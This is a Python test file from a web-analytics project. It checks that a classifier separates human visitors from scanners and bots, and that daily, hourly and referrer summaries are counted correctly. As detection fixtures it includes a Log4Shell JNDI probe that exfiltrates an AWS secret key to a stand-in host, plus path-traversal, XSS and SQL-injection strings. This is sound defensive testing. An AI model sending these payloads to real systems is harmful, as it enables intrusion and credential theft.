askrobots / dbbasic-object-server
Public
Runs live, versioned Python application objects on one VM, with a suite of apps: projects, notes, tasks, files and more.
danq9
signup: the person chooses the password and name on the confirm page
83c7aa6
2 weeks, 5 days ago
History
test_visitors.py · 11.8 KB · 270 lines
| 1 | """Counting people, not requests. |
| 2 | |
| 3 | "I talked about the system today -- did anyone come?" is the question, |
| 4 | and a raw unique-IP count answers it badly enough to be worse than |
| 5 | nothing. On this server 45% of distinct paths had been hit exactly once, |
| 6 | by scanners probing for /wp-login.php from a fresh address each time. |
| 7 | Counted as visitors, a quiet day reads as a busy one, and the number |
| 8 | misleads precisely when somebody is relying on it. |
| 9 | """ |
| 10 | |
| 11 | import pathlib |
| 12 | from datetime import datetime, timezone |
| 13 | |
| 14 | from conftest import stage_collection |
| 15 | |
| 16 | import object_analytics |
| 17 | import object_execution |
| 18 | import object_records |
| 19 | import object_visitors |
| 20 | import python_object_runtime |
| 21 | |
| 22 | REPO_ROOT = pathlib.Path(__file__).resolve().parents[1] |
| 23 | ANALYTICS_OBJECTS = REPO_ROOT / "packages" / "app-analytics" / "objects" |
| 24 | RUNTIME = python_object_runtime.PythonObjectRuntime() |
| 25 | |
| 26 | BROWSER = "Mozilla/5.0 (Macintosh) AppleWebKit/537.36 Chrome/128 Safari/537.36" |
| 27 | |
| 28 | # The fixtures below are pinned to one day, so the window has to be pinned |
| 29 | # to the same day. Letting `summarize` default `now` to the real clock made |
| 30 | # these tests pass for the week after they were written and fail every day |
| 31 | # after that -- the rows simply aged out of the 7-day window. |
| 32 | NOW = datetime(2026, 7, 26, 12, 0, tzinfo=timezone.utc) |
| 33 | |
| 34 | |
| 35 | def view(ip, path="/", *, status=200, ua=BROWSER, owner="false", |
| 36 | referrer="", at="2026-07-26T09:15:00Z"): |
| 37 | return {"ip": ip, "path": path, "status": str(status), "user_agent": ua, |
| 38 | "is_owner": owner, "referrer": referrer, "created_at": at, |
| 39 | "method": "GET"} |
| 40 | |
| 41 | |
| 42 | # --- who counts as a person ---------------------------------------------------- |
| 43 | |
| 44 | def test_a_scanner_that_only_gets_404s_is_not_a_visitor(): |
| 45 | """The behavioural test, which is the one that matters: a blocklist of |
| 46 | user agents is always out of date; walking a list of URLs that do not |
| 47 | exist here is not.""" |
| 48 | rows = [view("10.0.0.1", "/wp-login.php", status=404, ua="Mozilla/5.0"), |
| 49 | view("10.0.0.1", "/index1.php", status=404, ua="Mozilla/5.0"), |
| 50 | view("10.0.0.1", "/.env", status=404, ua="Mozilla/5.0")] |
| 51 | assert object_visitors.classify(rows) == {"10.0.0.1": object_visitors.BOT} |
| 52 | |
| 53 | |
| 54 | def test_a_real_page_plus_a_signal_is_a_visitor(): |
| 55 | """One 200 is necessary but not sufficient -- see the test below.""" |
| 56 | rows = [view("10.0.0.2", "/nope", status=404), |
| 57 | view("10.0.0.2", "/shop", status=200, referrer="https://news.example")] |
| 58 | assert object_visitors.classify(rows) == {"10.0.0.2": object_visitors.VISITOR} |
| 59 | |
| 60 | |
| 61 | def test_a_lone_hit_on_the_front_page_is_not_a_person(): |
| 62 | """`/` returns 200 to everyone, so a successful load there proves |
| 63 | nothing. The first version of this counted every prober that touched |
| 64 | the homepage as a visitor, which was a large slice of a real week's |
| 65 | 'direct traffic'.""" |
| 66 | rows = [view("10.0.0.7", "/", status=200)] |
| 67 | assert object_visitors.classify(rows) == {"10.0.0.7": object_visitors.BOT} |
| 68 | |
| 69 | |
| 70 | def test_a_second_page_is_enough_on_its_own(): |
| 71 | """Nobody arrives at a second page by accident.""" |
| 72 | rows = [view("10.0.0.8", "/"), view("10.0.0.8", "/shop")] |
| 73 | assert object_visitors.classify(rows) == {"10.0.0.8": object_visitors.VISITOR} |
| 74 | |
| 75 | |
| 76 | def test_a_session_cookie_is_enough_on_its_own(): |
| 77 | rows = [dict(view("10.0.0.9", "/"), session_id="abc123")] |
| 78 | assert object_visitors.classify(rows) == {"10.0.0.9": object_visitors.VISITOR} |
| 79 | |
| 80 | |
| 81 | def test_the_visitor_cookie_is_what_makes_a_lone_front_page_hit_a_person(): |
| 82 | """The classifier's "carried a session" signal is now fed by something |
| 83 | real. A browser that accepts the visitor cookie has done a thing a |
| 84 | prober does not, so a single hit on `/` -- which proves nothing on its |
| 85 | own, since `/` answers 200 to everyone -- becomes a visitor once the |
| 86 | cookie comes back. Scanners do not keep cookies, which is exactly why |
| 87 | this is a signal and not a formality.""" |
| 88 | scanner = [view("10.0.0.20", "/")] |
| 89 | person = [dict(view("10.0.0.21", "/"), |
| 90 | session_id=object_analytics.new_visitor_token())] |
| 91 | assert object_visitors.classify(scanner)["10.0.0.20"] == object_visitors.BOT |
| 92 | assert object_visitors.classify(person)["10.0.0.21"] == object_visitors.VISITOR |
| 93 | |
| 94 | |
| 95 | def test_an_attack_payload_in_a_header_is_never_a_visitor(): |
| 96 | """A real one arrived as a Log4Shell probe with an AWS-credential |
| 97 | exfiltration template in the Referer, and was counted as a visitor |
| 98 | because it had also loaded the front page. It is inert here -- that is |
| 99 | a Java vulnerability probing a Python process -- but it is not a |
| 100 | person.""" |
| 101 | payload = ("${jndi:ldap://b6c44635.canary.invalid/x}" |
| 102 | "AWS_SECRET_ACCESS_KEY=${env:AWS_SECRET_ACCESS_KEY:-}") |
| 103 | rows = [view("10.0.0.10", "/", referrer=payload), |
| 104 | view("10.0.0.10", "/shop", referrer=payload)] |
| 105 | assert object_visitors.classify(rows) == {"10.0.0.10": object_visitors.BOT} |
| 106 | assert object_visitors.hostile(payload) |
| 107 | assert not object_visitors.hostile("https://news.example/thread") |
| 108 | |
| 109 | |
| 110 | def test_a_traversal_or_injection_attempt_is_a_bot(): |
| 111 | for payload in ("/etc/passwd", "../../secret", "<script>alert(1)</script>", |
| 112 | "' or '1'='1"): |
| 113 | rows = [view("10.0.0.11", "/", referrer=payload), |
| 114 | view("10.0.0.11", "/shop", referrer=payload)] |
| 115 | assert object_visitors.classify(rows)["10.0.0.11"] == object_visitors.BOT |
| 116 | |
| 117 | |
| 118 | def test_an_honest_crawler_stays_a_bot_even_when_it_finds_a_page(): |
| 119 | """Googlebot says what it is, and honesty should not promote it.""" |
| 120 | rows = [view("10.0.0.3", "/shop", status=200, ua="Googlebot/2.1")] |
| 121 | assert object_visitors.classify(rows) == {"10.0.0.3": object_visitors.BOT} |
| 122 | |
| 123 | |
| 124 | def test_no_user_agent_at_all_is_a_script(): |
| 125 | rows = [view("10.0.0.4", "/shop", status=200, ua="")] |
| 126 | assert object_visitors.classify(rows) == {"10.0.0.4": object_visitors.BOT} |
| 127 | |
| 128 | |
| 129 | def test_our_own_traffic_is_labelled_not_hidden(): |
| 130 | """Seeing your own visit is how you know the page records anything.""" |
| 131 | rows = [view("10.0.0.5", "/shop", status=200, owner="true")] |
| 132 | assert object_visitors.classify(rows) == {"10.0.0.5": object_visitors.OPERATOR} |
| 133 | |
| 134 | |
| 135 | def test_an_api_only_client_is_not_a_visitor(): |
| 136 | """Fetching /collections/... is a script's shape, not a person's.""" |
| 137 | rows = [view("10.0.0.6", "/collections/notes/records", status=200)] |
| 138 | assert object_visitors.classify(rows) == {"10.0.0.6": object_visitors.BOT} |
| 139 | |
| 140 | |
| 141 | # --- the numbers ----------------------------------------------------------------- |
| 142 | |
| 143 | def test_the_three_kinds_are_counted_apart(): |
| 144 | rows = [view("1.1.1.1", "/shop"), view("1.1.1.1", "/shop/p1"), |
| 145 | view("2.2.2.2", "/", referrer="https://news.example"), |
| 146 | view("9.9.9.9", "/wp-login.php", status=404), |
| 147 | view("8.8.8.8", "/xmlrpc.php", status=404), |
| 148 | view("3.3.3.3", "/orders", owner="true")] |
| 149 | summary = object_visitors.summarize(rows, now=NOW, days=7) |
| 150 | |
| 151 | assert summary["totals"]["visitor"]["unique"] == 2 |
| 152 | assert summary["totals"]["visitor"]["views"] == 3 |
| 153 | assert summary["totals"]["bot"]["unique"] == 2 |
| 154 | assert summary["totals"]["operator"]["views"] == 1 |
| 155 | |
| 156 | |
| 157 | def test_a_returning_visitor_is_one_visitor(): |
| 158 | rows = [view("1.1.1.1", "/shop", at=f"2026-07-26T{h:02d}:00:00Z", |
| 159 | referrer="https://news.example") for h in (9, 10, 11)] |
| 160 | summary = object_visitors.summarize(rows, now=NOW, days=7) |
| 161 | assert summary["totals"]["visitor"]["unique"] == 1 |
| 162 | assert summary["totals"]["visitor"]["views"] == 3 |
| 163 | |
| 164 | |
| 165 | def test_today_is_broken_down_by_hour(): |
| 166 | now = NOW.replace(hour=23) |
| 167 | ref = "https://news.example" |
| 168 | rows = [view("1.1.1.1", "/shop", at="2026-07-26T09:30:00Z", referrer=ref), |
| 169 | view("2.2.2.2", "/shop", at="2026-07-26T09:45:00Z", referrer=ref), |
| 170 | view("3.3.3.3", "/shop", at="2026-07-26T14:05:00Z", referrer=ref)] |
| 171 | summary = object_visitors.summarize(rows, now=now, days=7) |
| 172 | |
| 173 | hours = {row["bucket"][-2:]: row["visitors"] for row in summary["hours"]} |
| 174 | assert hours["09"] == 2 and hours["14"] == 1 and hours["00"] == 0 |
| 175 | assert len(summary["hours"]) == 24 |
| 176 | |
| 177 | |
| 178 | def test_the_window_is_a_full_run_of_days_including_empty_ones(): |
| 179 | """A day with no visitors is information; a gap in the series is not.""" |
| 180 | rows = [view("1.1.1.1", "/shop", at="2026-07-24T09:00:00Z", |
| 181 | referrer="https://news.example")] |
| 182 | summary = object_visitors.summarize(rows, now=NOW, days=7) |
| 183 | |
| 184 | assert [row["bucket"] for row in summary["days"]] == [ |
| 185 | f"2026-07-{day}" for day in range(20, 27)] |
| 186 | assert sum(row["visitors"] for row in summary["days"]) == 1 |
| 187 | |
| 188 | |
| 189 | def test_traffic_older_than_the_window_is_excluded(): |
| 190 | rows = [view("1.1.1.1", "/shop", at="2026-06-01T09:00:00Z")] |
| 191 | summary = object_visitors.summarize(rows, now=NOW, days=7) |
| 192 | assert sum(row["views"] for row in summary["days"]) == 0 |
| 193 | |
| 194 | |
| 195 | def test_referrers_answer_where_did_they_come_from(): |
| 196 | """The actual point of the page on the day you tell somebody about it.""" |
| 197 | rows = [view("1.1.1.1", "/shop", referrer="https://news.example/thread"), |
| 198 | view("2.2.2.2", "/shop", referrer="https://news.example/thread"), |
| 199 | view("3.3.3.3", "/shop"), view("3.3.3.3", "/orders")] |
| 200 | summary = object_visitors.summarize(rows, now=NOW, days=7) |
| 201 | |
| 202 | top = summary["referrers"][0] |
| 203 | assert top["referrer"] == "https://news.example/thread" and top["visitors"] == 2 |
| 204 | assert any(row["referrer"].startswith("(direct") for row in summary["referrers"]) |
| 205 | |
| 206 | |
| 207 | def test_bot_referrers_never_pollute_the_list(): |
| 208 | rows = [view("9.9.9.9", "/wp-login.php", status=404, |
| 209 | referrer="https://spam.example")] |
| 210 | summary = object_visitors.summarize(rows, now=NOW, days=7) |
| 211 | assert summary["referrers"] == [] |
| 212 | |
| 213 | |
| 214 | def test_landing_pages_are_what_visitors_actually_opened(): |
| 215 | ref = "https://news.example" |
| 216 | rows = [view("1.1.1.1", "/shop", referrer=ref), |
| 217 | view("2.2.2.2", "/shop", referrer=ref), |
| 218 | view("1.1.1.1", "/collections/notes/records", referrer=ref)] |
| 219 | summary = object_visitors.summarize(rows, now=NOW, days=7) |
| 220 | assert summary["landing"][0] == {"path": "/shop", "visitors": 2} |
| 221 | |
| 222 | |
| 223 | def test_an_empty_log_is_a_clean_zero_not_a_crash(): |
| 224 | summary = object_visitors.summarize([], now=NOW, days=7) |
| 225 | assert summary["totals"]["visitor"]["unique"] == 0 |
| 226 | assert len(summary["days"]) == 7 |
| 227 | |
| 228 | |
| 229 | # --- the page --------------------------------------------------------------------- |
| 230 | |
| 231 | def render(payload=None): |
| 232 | return object_execution.execute_object( |
| 233 | RUNTIME, |
| 234 | object_execution.ObjectExecutionRequest( |
| 235 | "site_visitors", method="GET", payload=payload or {}), |
| 236 | roots=[ANALYTICS_OBJECTS]).result |
| 237 | |
| 238 | |
| 239 | def test_the_page_refuses_an_anonymous_caller(tmp_path, monkeypatch): |
| 240 | monkeypatch.setenv("DBBASIC_DATA_DIR", str(tmp_path)) |
| 241 | body = render()["body"] |
| 242 | assert "Sign in" in body and "unique visitors" not in body |
| 243 | |
| 244 | |
| 245 | def test_the_page_says_so_when_capture_is_off(tmp_path, monkeypatch): |
| 246 | """A page of zeros would read as 'nobody came' when the truth is |
| 247 | 'nothing was recorded'.""" |
| 248 | monkeypatch.setenv("DBBASIC_DATA_DIR", str(tmp_path)) |
| 249 | monkeypatch.delenv("DBBASIC_ANALYTICS", raising=False) |
| 250 | body = render({"_identity": {"user_id": "dan"}})["body"] |
| 251 | assert "capture is off" in body |
| 252 | |
| 253 | |
| 254 | def test_the_page_reports_real_numbers(tmp_path, monkeypatch): |
| 255 | data_dir = tmp_path / "data" |
| 256 | stage_collection(data_dir, "app-analytics", "page_views") |
| 257 | monkeypatch.setenv("DBBASIC_DATA_DIR", str(data_dir)) |
| 258 | monkeypatch.setenv("DBBASIC_ANALYTICS", "on") |
| 259 | |
| 260 | for row in (view("1.1.1.1", "/shop"), view("2.2.2.2", "/shop"), |
| 261 | view("9.9.9.9", "/wp-login.php", status=404)): |
| 262 | # created_at is server-stamped, exactly as the capture hook leaves |
| 263 | # it; the fold reads whatever the record layer wrote. |
| 264 | row.pop("created_at") |
| 265 | object_records.create_collection_record( |
| 266 | "page_views", row, base_dir=data_dir, actor="test") |
| 267 | |
| 268 | body = render({"_identity": {"user_id": "dan"}})["body"] |
| 269 | assert "unique visitors" in body |
| 270 | assert "distinct IP address" in body # the honesty note is not optional |